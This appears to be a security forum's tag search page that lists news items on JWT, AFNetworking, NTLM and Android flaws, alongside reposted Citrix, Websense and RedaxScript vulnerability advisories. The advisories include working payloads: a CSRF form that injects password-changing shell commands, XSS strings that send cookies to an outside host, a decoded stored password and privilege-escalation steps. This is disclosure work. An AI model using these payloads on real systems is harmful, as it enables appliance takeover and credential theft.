Jump to content

Search the Community

Showing results for tags 'issue'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Informatii generale
    • Anunturi importante
    • Bine ai venit
    • Proiecte RST
  • Sectiunea tehnica
    • Exploituri
    • Challenges (CTF)
    • Bug Bounty
    • Programare
    • Securitate web
    • Reverse engineering & exploit development
    • Mobile security
    • Sisteme de operare si discutii hardware
    • Electronica
    • Wireless Pentesting
    • Black SEO & monetizare
  • Tutoriale
    • Tutoriale in romana
    • Tutoriale in engleza
    • Tutoriale video
  • Programe
    • Programe hacking
    • Programe securitate
    • Programe utile
    • Free stuff
  • Discutii generale
    • RST Market
    • Off-topic
    • Discutii incepatori
    • Stiri securitate
    • Linkuri
    • Cosul de gunoi
  • Club Test's Topics
  • Clubul saraciei absolute's Topics
  • Chernobyl Hackers's Topics
  • Programming & Fun's Jokes / Funny pictures (programming related!)
  • Programming & Fun's Programming
  • Programming & Fun's Programming challenges
  • Bani pă net's Topics
  • Cumparaturi online's Topics
  • Web Development's Forum
  • 3D Print's Topics

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


Website URL


Yahoo


Jabber


Skype


Location


Interests


Occupation


Interests


Biography


Location

Found 7 results

  1. Critical vulnerabilities exist in several JSON Web Token (JWT) libraries – namely the JavaScript and PHP versions – that could let an attacker bypass the verification step. Tim McLean, a Canadian security researcher who specializes in cryptography and dug up the issues, points out that attackers could exploit one of those vulnerabilities, which abuses an asymmetric signing algorithm, in some JWT libraries. Introduced a few years back, JWT is a standard that produces tokens between two parties. For example, a server can produce an admin token, transferred in JSON, signed by the server’s key. Clients can go on to use that token to verify the user is logged in as an admin. The issue revolves around a public key confusion between systems signed with the hash function HMAC and those signed with RSA. “If a server is expecting a token signed with RSA, but actually receives a token signed with HMAC, it will think the public key is actually an HMAC key,” McLean explained in a blog post Tuesday. “How is this a disaster? HMAC secret keys are supposed to be kept private, while private keys are well, public.” In this scenario if an attacker got access to a public key, through an API in some JWT libraries, they could use it as a token and the server would accept it. McLean advises anyone who runs a JWT implementation to verify that tokens with different signatures are set up to be rejected either via a whitelisting or blacklisting mechanism. “The server should already know what algorithm it uses to sign tokens, and it’s not safe to allow attackers to provide this value.” A separate issue, since fixed in many JWT libraries, previously let attackers choose the way tokens are verified, a condition that had “disastrous implications for some implementations,” according to McLean. McLean initially blogged about the issue in February and elaborated further on the issue this week. OAuth, one of the more popular standards for authorization, found his research so important, it republished the work on its own blog yesterday. This issue is rooted in the way that some libraries handled an algorithm known as “none.” Tokens signed with “none” could have be acknowledged as valid tokens with valid signatures, according to McLean. Attackers could modify tokens and sign them with “none” instead of HMAC-SHA256, or HS256. The tokens would then appear “signed.” Attackers then could have gone on to attach their own payload to gain arbitrary account access on some systems. According to McLean most libraries have fixed the “none” issue by ensuring that token verification fails any tokens that use the “none” algorithm. In order to fix the asymmetric keys issue, McLean, with the help of Auth0 got in touch with several of the library’s authors to make sure that any tokens with a different signature type are rejected by their libraries. Since JWTs can work across several languages, .NET, Node.js, Python, PHP, Java, Ruby, to name a few, there were a handful of libraries to contact about the vulnerability. Auth0 fixed the issue in its Node.js library last Thursday and is encouraging users to upgrade to 4.2.2, the latest version. Jose Padilla, who maintains the Python build of the library, fixed the signature verification vulnerability in version 1.0.0 last month by adding support for an alg whitelist. The most recent version, 1.0.1, also includes the fix. According to jwt.io, a service run by Auth0, the PHP or JavaScript versions of the libraries remain vulnerable. Auth0 instructing those who run those versions of JWT to seek out another non-vulnerable library until the issues are fixed or verified. Source
  2. Until yesterday, a popular networking library for iOS and OS X used in apps such as Pinterest and Simple was susceptible to SSL man-in-the-middle (MiTM) attacks. The developer behind the framework AFNetworking on Thursday pushed a fix for the issue, a logic flaw. The flaw had lingered in the wild for more than two months but it took some repeated poking from Github users and two researchers, Simone Bovi and Mauro Gentile at the software security firm Minded Security, for the developer to finally address it. Bovi and Gentile stumbled upon the issue while doing mobile application security analysis for one of their clients in early March. After combing through the application’s source code the researchers found that the library’s SSL certification validation and its trust evaluation had been disabled, something that could have allowed any SSL traffic to be intercepted via a proxy service such as Burp Suite. “After a few minutes, we figured out that there was a logical bug while evaluating trust for SSL certificates, whose consequence was to completely disable SSL certificate validation,” Bovi wrote in a blog post yesterday, shortly before the issue was fixed. Bovi and Gentile found the issue had previously been brought up in a Github forum post in early February and that the flaw appeared to stem from a problem with version 2.5.1 of the library, introduced in late January. An additional, and more thorough post on Github 15 days ago helped the issue gain some visibility as well. “I have verified that a malicious proxy server can sniff all the contents of HTTPS communication in this case,” Github user duttski, who created a patch as a temporary workaround until the issue was fixed, warned at the time. iOS developer Mattt Thompson, who created and maintains AFNetworking, pushed Version 2.5.1 of the project live yesterday and fixed the issue by adding test and implementation of strict default validation, according to the library’s release notes. The library is a key part of popular social media applications like Vine and Pinterest on OS X and iOS. The framework also figures into apps and services primarily used by app and UX developers like Heroku and Parse. Source
  3. A default setting in both Windows 7 and 8.1 could allow local users to elevate privileges and in some situations, escape application sandboxes. The issue, something that leaves all current Windows client installations vulnerable, lies in the way the operating system handles authentication. In some instances it could be possible for a user to use a reflection attack in NT LAN Manager, a collection of security protocols found in Windows systems, to leverage WebDAV (Web Distributed Authoring and Versioning) and carry out an attack. “It’s possible to abuse cross-protocol NTLM reflection to attack the local SMB server by forcing a local system process to access a WebDAV UNC path,” warned James Forshaw, the Google Project Zero security researcher who found the issue, on Monday. Forshaw discovered the issue last year and reported it to Microsoft’s Security Response Center on Dec. 18 but the time that Project Zero gives to vendors to fix bugs – 90 days – elapsed last week, so the Google Security Research post and its proof of concept were opened to the public. According to Microsoft however the issue doesn’t merit a fix as the company has implemented mitigations for it, like Extended Protection for Authentication, in the past. According to Forshaw’s disclosure timeline, the company informed him in January that undoing the mitigations could cause “application compatibility concerns.” When reached Wednesday a Microsoft spokesperson confirmed that users should implement EPA to avoid reflection attacks using the NTLM as a vector. “Extended Protection for Authentication (EPA) is a security feature built-in to Windows 8 and 8.1, and available for older versions of Windows via knowledge base article 2345886, that helps protect our customers against this technique. We encourage customers to follow the guidance outlined in the article to enable EPA, which is off by default as it may cause some application compatibility concerns.” As EPA doesn’t come enabled by default however, Forshaw is stressing that users looking to avoid reflection attacks follow a different set of precautions, including enabling SMB signing or enabling SMB Server SPN verification. Forshaw points out that users can also disable their Webclient service, something that would make it trickier to elevate to the local system, but that this wouldn’t prevent attacks like sandbox escapes, which require user level permissions. It also might be possible to stage the exploit in another fashion, including via a DCE/RPC call. As Forshaw acknowledges in his write-up, this is far from a new issue for Microsoft – the company actually addressed a similar issue way back in 2008 (MS08-068) that could have let attackers use NTLM to mirror authentication from one machine back to the same machines. The patch disallowed NTLM sessions in flight but failed to address cross-protocol attacks like the one Project Zero found. Source
  4. Citrix NITRO SDK Command Injection ------------------------------------------------------------------------ Command injection vulnerability in Citrix NITRO SDK xen_hotfix page ------------------------------------------------------------------------ Han Sahin, August 2014 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ Securify discovered a command injection vulnerability in xen_hotfix page of the NITRO SDK. The attacker-supplied command is executed with elevated privileges (nsroot). This issue can be used to compromise of the entire Citrix SDX appliance and all underling application's and data. ------------------------------------------------------------------------ Tested version ------------------------------------------------------------------------ This issue was discovered in Citrix NetScaler SDX svm-10.5-50-1.9, other versions may also be affected. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ Citrix reports that this vulnerability is fixed in NetScaler 10.5 build 52.3nc. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://www.securify.nl/advisory/SFY20140806/command_injection_vulnerability_in_citrix_nitro_sdk_xen_hotfix_page.html This vulberability exists because the file_name parameter submitted to the /nitro/v1/config/xen_hotfix page used in a shell command without proper input validation/sanitation, introducing a command execution vulnerability. The shell command is executed with elevated privileges (nsroot), which allows attackers to run arbitrary commands with these privileges. This issue can be used to compromise of the entire Citrix SDX appliance and all underling application's and data. The following proof of concept can be used to exploit this issue; <html> <body> <form action="https://SDXHOSTIP/nitro/v1/config/xen_hotfix" method="POST"> <input type="hidden" name="object" value="{"params":{"action":"start"},"xen_hotfix":[{"file_name":"../../etc/passwd;echo nsroot:Securify|chpasswd;"}]}" /> <input type="submit" value="Submit request" /> </form> <script>document.forms[0].submit();</script> </body> </html> POST /nitro/v1/config/xen_hotfix HTTP/1.1 ----------------------------------------- object={"params"%3a{"action"%3a"start"}%2c"xen_hotfix"%3a[{"file_name"../../etc/passwd;reboot;"}]} or object={"params"%3a{"action"%3a"start"}%2c"xen_hotfix"%3a[{"file_name"%3a"../../etc/passwd;echo nsroot:han|chpasswd;"}]} Due to insufficient Cross-Site Request Forgery protection, it is possible to exploit this issue by tricking a logged in admin user into visiting a specially crafted web page. Citrx Command Center Advent JMX Servlet Accessible ------------------------------------------------------------------------ Advent JMX Servlet of Citrx Command Center is accessible to unauthenticated users ------------------------------------------------------------------------ Han Sahin, August 2014 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ It was discovered that the Advent JMX Servlet of Citrix Command Center is accessible to unauthenticated users. This issue can be abused by attackers to comprise the entire application. ------------------------------------------------------------------------ Tested version ------------------------------------------------------------------------ This issue was discovered in Citrix Command Center 5.1 build 33.3 (including patch CC_SP_5.2_40_1.exe), other versions may also be vulnerable. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ Citrix reports that this vulnerability is fixed in Command Center 5.2 build 42.7, which can be downloaded from the following location (login required). https://www.citrix.com/downloads/command-center/product-software/command-center-52-427.html Citrix assigned BUG0494204 to this issue. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://www.securify.nl/advisory/SFY20140804/advent_jmx_servlet_of_citrx_command_center_is_accessible_to_unauthenticated_users.html The Advent JMX Servlet is exposed at /servlets/Jmx_dynamic. Functionality exposed by the JMX Servlet can be invoked by an unauthenticated attacker, which can lead to unauthorized remote code execution and comprise of the entire application and services. In addition, this interface is also affected by Cross-Site Scripting. For example: https://<target>:8443/servlets/Jmx_dynamic?fname=<script>alert(document.cookie);</script> Citrix NetScaler VPX Cross Site Scripting ------------------------------------------------------------------------ Citrix NetScaler VPX help pages are vulnerable to Cross-Site Scripting ------------------------------------------------------------------------ Han Sahin, August 2014 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ It was discovered that the help pages of Citrix VPX are vulnerable to Cross-Site Scripting. This issue allows attackers to perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes. ------------------------------------------------------------------------ Tested version ------------------------------------------------------------------------ This issue was discovered in Citrix NetScaler VPX NSVPX-ESX-10.5-50.10, other versions may also be vulnerable. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ Citrix reports that this vulnerability is fixed in NetScaler 10.5 build 52.8nc. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://www.securify.nl/advisory/SFY20140807/citrix_netscaler_vpx_help_pages_are_vulnerable_to_cross_site_scripting.html This issue exists because the value of the searchQuery URL parameter is assigned client-side to contentDiv.innerHTML (DOM-based Cross-Site Scripting), for example: https://<target>/help/rt/large_search.html?searchQuery=<h1>Reset your password below:<h1><iframe src='http://www.evil.com'/>&type=ctxTV Tricking a victim into visiting a specially crafted URL allows attackers to run arbitrary client-side scripting code within the victim's browser. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes. Citrix NITRO SDK xen_hotfix Cross Site Scripting ------------------------------------------------------------------------ Citrix NITRO SDK xen_hotfix page is vulnerable to Cross-Site Scripting ------------------------------------------------------------------------ Han Sahin, August 2014 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ A Cross-Site Scripting vulnerability was found in the xen_hotfix page of the Citrix NITRO SDK. This issue allows attackers to perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes. ------------------------------------------------------------------------ Tested version ------------------------------------------------------------------------ This issue was discovered in Citrix NetScaler SDX svm-10.5-50-1.9;, other versions may also be affected. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ Citrix reports that this vulnerability is fixed in NetScaler 10.5 build 52.3nc. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://www.securify.nl/advisory/SFY20140805/citrix_nitro_sdk_xen_hotfix_page_is_vulnerable_to_cross_site_scripting.html The Cross-Site Scripting vulnerability exists because the REST interface returns an incorrect Content-Type HTTP response header. The interfaces states that the content returned is HTML, while in fact it is JSON. Due to this it is possible to cause browser to render the JSON response as HTML. User input included in the JSON response is JSON encoded, not HTML encoded. Due to this, it is possible to inject arbitrary HTML content in the JSON data that will be rendered and executed by the browser. This issue is exploitable on the /nitro/v1/config/xen_hotfix page through the file_name parameter. Below is an example HTTP response in which this issue is demonstrated. HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Date: Wed, 16 Jul 2014 13:54:53 GMT { "errorcode": 16004, "message": "Failed to obtain uuid for hotfix cmd.xsupdate<img src=a onerror=alert(document.cookie)>, error string = 'xe patch-upload file-name=\"\/root\/cmd.xsupdate<img src=a onerror=alert(document.cookie)>\"\r\nOperation failed. Error: file '\/root\/cmd.xsupdate<img src=a onerror=alert(document.cookie)>' does not exist\r\n\u001b]0;root@NetScaler-sdx:~\u0007[root@NetScaler-sdx ~]#'", "severity": "ERROR" } Proof of concept: <html> <body> <form id="form" method="POST" action="https://<target>/nitro/v1/config/xen_hotfix" enctype="text/plain"> <input type="hidden" name="object" value='{"params"%3a{"action"%3a"start"}%2c"xen_hotfix"%3a [{"file_name"%3a" cmd.xsupdate<img%20src%3da%20onerror%3dalert(document.cookie)>"}]}' /> <input type="submit" value="submit"> </form> <script> document.forms[0].submit(); </script> </body> </html> Citrix Command Center Configuration Disclosure ------------------------------------------------------------------------ Citrix Command Center allows downloading of configuration files ------------------------------------------------------------------------ Han Sahin, August 2014 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ It was discovered that Citrix Command Center stores configuration files containing credentials of managed devices within a folder accessible through the web server. Unauthenticated attackers can download any configuration file stored in this folder, decode passwords stored in these files, and gain privileged access to devices managed by Command Center. ------------------------------------------------------------------------ Tested version ------------------------------------------------------------------------ This issue was discovered in Citrix Command Center 5.1 build 33.3 (including patch CC_SP_5.2_40_1.exe), other versions may also be vulnerable. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ Citrix reports that this vulnerability is fixed in Command Center 5.2 build 42.7, which can be downloaded from the following location (login required). https://www.citrix.com/downloads/command-center/product-software/command-center-52-427.html Citrix assigned BUG0493933 to this issue. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://www.securify.nl/advisory/SFY20140802/citrix_command_center_allows_downloading_of_configuration_files.html Configuration files can be downloaded from the conf web folder. Below is an example of a configuration file that can be obtained this way. https://<target>:8443/conf/securitydbData.xml This files contains encoded passwords, for example: <DATA ownername="NULL" password="C70A0eE9os9T2z" username="root"/> These passwords can be decoded trivially. The algorithm used can be found in the JAR file NmsServerClasses.jar. For example the encoded password C70A0eE9os9T2z decodes to SECURIFY123. The credentials stored in these files can than be used to gain privileged access to devices managed by Command Center.
  5. Websense Content Gateway Error Message Cross Site Scripting ------------------------------------------------------------------------ Error messages of Websense Content Gateway are vulnerable to Cross-Site Scripting ------------------------------------------------------------------------ Han Sahin, September 2014 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ It was discovered that the error messages of Websense Content Gateway process user-controllable data insecurely, rendering these pages vulnerable to Cross-Site Scripting. Cross-Site Scripting allows an attacker to perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes. ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was discovered on Websense Triton v7.8.3 and Websense appliance modules V-Series v7.7. Other versions may be affected as well. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ This issue is resolved in TRITON APX Version 8.0. More information about the fixed can be found at the following location: http://www.websense.com/support/article/kbarticle/Vulnerabilities-resolved-in-TRITON-APX-Version-8-0 ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://www.securify.nl/advisory/SFY20140916/error_messages_of_websense_content_gateway_are_vulnerable_to_cross_site_scripting.html An example of a vulnerable URL parameter is the admin_msg parameter. The value of this parameter is a Base64 encoded error message. It is possible to include HTML and scripting code in the message, which is used as-is in the resulting error page. An attacker can construct a specially crafted HTML response, that must be encoded using Base64 and appended to the following URL: https://<target>:8081/configure/ssl_ui/eva-config/client-cert-import_wsoem.html?admin_msg=<payload> An attacker must trick victims into opening the attacker's specially crafted link. This is for example possible by sending a victim a link in an email or instant message. Once a victim opens the specially crafted link, arbitrary client-side scripting code will be executed in the victim's browser. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session tokens or login credentials, performing arbitrary actions on their behalf, logging their keystrokes. Websense Reporting Cross Site Scripting ------------------------------------------------------------------------ Multiple Cross-Site Scripting vulnerabilities in Websense Reporting ------------------------------------------------------------------------ Han Sahin, September 2014 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ It has been found that Websense Reporting is affected by multiple Cross-Site Scripting issues. Cross-Site Scripting allows an attacker to perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes. ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was discovered on Websense Triton v7.8.3 and Websense appliance modules V-Series v7.7. Other versions may be affected as well. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ Websense released hotfix 02 for Websense Triton v7.8.4 in which this issue is fixed. More information about this hotfix can be found at the following location: http://www.websense.com/support/article/kbarticle/v7-8-4-About-Hotfix-02-for-Web-Security-Solutions This issue is resolved in TRITON APX Version 8.0. More information about the fixed can be found at the following location: http://www.websense.com/support/article/kbarticle/Vulnerabilities-resolved-in-TRITON-APX-Version-8-0 ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://www.securify.nl/advisory/SFY20140914/multiple_cross_site_scripting_vulnerabilities_in_websense_reporting.html One example of a vulnerable request parameter is the col. Its value is copied into the value of an HTML tag attribute; encapsulated in double quotation marks. The value echoed unmodified (without output encoding) in the application's response. This vulnerability can be reproduced using the following steps: - login into Admin GUI; - open the proof of concept below; - hover over 'Risk Class' in left corner. https://<target>:9443/explorer_wse/explorer_anon.exe?col=a86de%27onmouseover%3d%27alert%28document.cookie%29%27de90f&delAdmin=0&startDate=2014-07-31&endDate=2014-08-01 An attacker must trick victims into opening the attacker's specially crafted link. This is for example possible by sending a victim a link in an email or instant message. Once a victim opens the specially crafted link, arbitrary client-side scripting code will be executed in the victim's browser. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session tokens or login credentials, performing arbitrary actions on their behalf, logging their keystrokes. Websense Explorer Report Scheduler Cross Site Scripting ------------------------------------------------------------------------ Cross-Site Scripting vulnerability in Websense Explorer report scheduler ------------------------------------------------------------------------ Han Sahin, September 2014 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ It was discovered that the report scheduler of Websense Explorer is vulnerable to Cross-Site Scripting. Cross-Site Scripting allows an attacker to perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes. ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was discovered on Websense Triton v7.8.3 and Websense appliance modules V-Series v7.7. Other versions may be affected as well. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ Websense released hotfix 02 for Websense Triton v7.8.4 in which this issue is fixed. More information about this hotfix can be found at the following location: http://www.websense.com/support/article/kbarticle/v7-8-4-About-Hotfix-02-for-Web-Security-Solutions This issue is resolved in TRITON APX Version 8.0. More information about the fixed can be found at the following location: http://www.websense.com/support/article/kbarticle/Vulnerabilities-resolved-in-TRITON-APX-Version-8-0 ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://www.securify.nl/advisory/SFY20140911/cross_site_scripting_vulnerability_in_websense_explorer_report_scheduler.html An attacker can schedule a report containing a specially crafted ReportName that will trigger this vulnerability. An attacker can use this issue to inject malicious JavaScript code into the output of the application. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session tokens or login credentials, performing arbitrary actions on their behalf, logging their keystrokes. The following proof of concept can be used to demonstrate this issue: https://<target>:9443/Websense/cgi-bin/WsCgiExplorerSchedule.exe?pageAction=confirm&KeepTrend=&rangeAll=&emailListChain=%5Ehan.sahin%40securify.nl&SchedulePage=RunWeekly&DayOfWeek=Saturday&StartHour=21&StartMinute=30&emailList=%5Ehan.sahin%40securify.nl&EmailSubject=&EmailText=&ReportName=XSS<img+src%3dx+onerror%3dthis.src%3d'https%3a//www.securify.nl/%3fc%3d'%2bdocument.cookie>&outputFormat=.pdf&DateRangeType=AllDates Websense Data Security Cross Site Scripting ------------------------------------------------------------------------ Cross-Site Scripting vulnerability in Websense Data Security block page ------------------------------------------------------------------------ Han Sahin, September 2014 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ It was discovered that the Websense Data Security block page processes user-controllable data insecurely, rendering the block page is vulnerable to Cross-Site Scripting. Cross-Site Scripting allows an attacker to perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes. ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was discovered on Websense Triton v7.8.3 and Websense appliance modules V-Series v7.7. Other versions may be affected as well. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ This issue is resolved in TRITON APX Version 8.0. More information about the fixed can be found at the following location: http://www.websense.com/support/article/kbarticle/Vulnerabilities-resolved-in-TRITON-APX-Version-8-0 ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://www.securify.nl/advisory/SFY20140910/cross_site_scripting_vulnerability_in_websense_data_security_block_page.html In order to exploit this vulnerability a valid ws-session is required. The payload has to be Base64 encoded, submitted to the block page via the ws-encdata URL parameter. For example, the following parameters can be submitted to the block page. ws-session=18446744072585574752&ws-userip=1.2.3.4--><iframe>0&ws-cat=76&ws-reason=1029 The above parameters must then be encoded with Base64 and appended to the following URL: http://<target>:15871/cgi-bin/moreBlockInfo.cgi?ws-encdata=<payload> An attacker must trick victims into opening the attacker's specially crafted link. This is for example possible by sending a victim a link in an email or instant message. Once a victim opens the specially crafted link, arbitrary client-side scripting code will be executed in the victim's browser. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session tokens or login credentials, performing arbitrary actions on their behalf, logging their keystrokes. Websense Explorer Missing Access Control ------------------------------------------------------------------------ Missing access control on Websense Explorer web folder ------------------------------------------------------------------------ Han Sahin, September 2014 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ It was discovered that no access control is enforced on the explorer_wse path, which is exposed through the web server. An attacker can abuse this issue to download any file exposed by this path, including security reports and Websense Explorer configuration files. ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was discovered on Websense Triton v7.8.3 and Websense appliance modules V-Series v7.7. Other versions may be affected as well. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ This issue is resolved in TRITON APX Version 8.0. More information about the fixed can be found at the following location: http://www.websense.com/support/article/kbarticle/Vulnerabilities-resolved-in-TRITON-APX-Version-8-0 ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://www.securify.nl/advisory/SFY20140909/missing_access_control_on_websense_explorer_web_folder.html When a scheduled report has run, the report file is sent to recipients as an email attachment. Scheduled reports are also saved within explorer_wse, which is accessible for unauthenticated users. This vulnerability allows unauthenticated (proxy) users to download resources from the Websense reporting folder. Including confidential Web Security incidents reports Websense Explorer configuration files. For example: https://<target>:9443/explorer_wse/Other/1407992150/Securify_1407992150.xls https://<target>:9443/explorer_wse/websense.ini Websense Triton Source Code Disclosure ------------------------------------------------------------------------ Source code disclosure of Websense Triton JSP files via double quote character ------------------------------------------------------------------------ Han Sahin, September 2014 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ Websense Triton is affected by a source code disclosure vulnerability. By appending a double quote character after JSP URLs, Websense will return the source code of the JSP instead of executing the JSP. An attacker can use this issue to inspect parts of Websense's source code in order to gain more knowledge about Websense's internals. ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was discovered on Websense Triton v7.8.3 and Websense appliance modules V-Series v7.7. Other versions may be affected as well. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ Websense released hotfix 02 for Websense Triton v7.8.4 in which this issue is fixed. More information about this hotfix can be found at the following location: http://www.websense.com/support/article/kbarticle/v7-8-4-About-Hotfix-02-for-Web-Security-Solutions This issue is resolved in TRITON APX Version 8.0. More information about the fixed can be found at the following location: http://www.websense.com/support/article/kbarticle/Vulnerabilities-resolved-in-TRITON-APX-Version-8-0 ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ httpa://www.securify.nl/advisory/SFY20140907/source_code_disclosure_of_websense_triton_jsp_files_via_double_quote_character.html By appending a double quote character after JSP URLs, Websense will return the source code of the JSP instead of executing the JSP. For example: https://<target>:9443/triton/login/pages/certificateDone.jsp%22 Information disclosure vulnerabilities aid attackers trying to compromise the web application.
  6. Google is prepping a fix for Android users that addresses a meddlesome memory leakage issue that’s plagued some device users since the end of last year. The issue, present in versions 5.0.1 and 5.1 of the mobile operating system code-named Lollipop, has been causing irregular application activity on several Nexus devices for weeks. In some instances, users have apparently experienced issues launching apps and seen apps randomly restarting, often without opening or changing any application. The most prevalent issue users have witnessed has been a massive surge in memory usage. On an issue tracker for the for the bug on Android’s Open Source Project (AOSP) late last week some users reported seeing their RAM bloat to over 1 gigabyte and leave as little as 150 megabytes free, before their phones ultimately crashed. Users claim they’ve seen their phone’s system memory swell, usually after opening a game, then dismissing it. Even if apps are closed however, the phone will go on to gobble up memory until there’s no more space and the device stops responding. The issue – mostly seen in Nexus 5 devices – has lingered since December 2014, when Google pushed 5.0.1 to Nexus devices, but resurfaced in 5.1, which was rolled out last week. “Memory leak not fixed,” one user wrote on AOSP last week, “I’ve had system RAM bloated over 1GB, processes restarting and launcher redraws.” The issue was closed at Android’s Issue Tracker on Friday when a Google project member acknowledged the issue had been “fixed internally,” but added that the company did not have a timetable for public release. The bug’s status was also changed from “New” to “FutureRelease” on Friday, suggesting a fix is forthcoming, perhaps in 5.1.1, but emails to Google inquiring exactly when that fix would come were not immediately replied to on Monday Android’s security team has been busy over the past several months addressing issues that have popped up in Lollipop. In November it fixed a vulnerability that could have allowed an attacker to bypass ASLR and run arbitrary code on a target device under certain circumstances. In January the company took some heat for not fixing a bug in the WebView component of the OS on Jelly Bean 4.3, or older. Security engineers for Android later clarified that the issue would really be best fixed by OEMs and that it’s not practical for Google to push patches for older vulnerabilities. Source
  7. # Exploit Title: Privilege Escalation in RedaxScript 2.1.0 # Date: 11-05-2014 # Exploit Author: shyamkumar somana # Vendor Homepage: http://redaxscript.com/ # Version: 2.1.0 # Tested on: Windows 8 #Privilege Escalation in RedaxScript 2.1.0 RedaxScript 2.1.0 suffers from a privilege Escalation vulnerability. The issue occurs because the application fails to properly implement access controls. The application also fails to perform proper sanity checks on the user supplied input before processing it. These two flaws led to a vertical privilege escalation. This can be achieved by a simply tampering the parameter values. An attacker can exploit this issue to gain elevated privileges to the application. *Steps to reproduce the instance:* · login as a non admin user · Go to account and update the account. · intercept the request and add “*groups[]=1*” to the post data and submit the request · Log out of the application and log in again. You can now browse the application with admin privileges. This vulnerability was addressed in the following commit. https://github.com/redaxmedia/redaxscript/commit/bfe146f98aedb9d169ae092b49991ed1b3bc0860?diff=unified *Timeline*: 09-26-2014: Issue identified 09-27-2014: Discussion with the vendor 10-27-2014: Issue confirmed 11-05-2014: Patch released. Author: Shyamkumar Somana Vendor Homepage: http://redaxscript.com/download Version: 2.1.0 Tested on: Windows 7 -- [image: --] shyam kumar [image: http://]about.me/shyamkumar.somana <http://about.me/shyamkumar.somana?promo=email_sig> Shyamkumar Somana | +91 89513 38625 | twitter.com/0xshyam | in.linkedin.com/in/sshyamkumar/ | Source
×
×
  • Create New...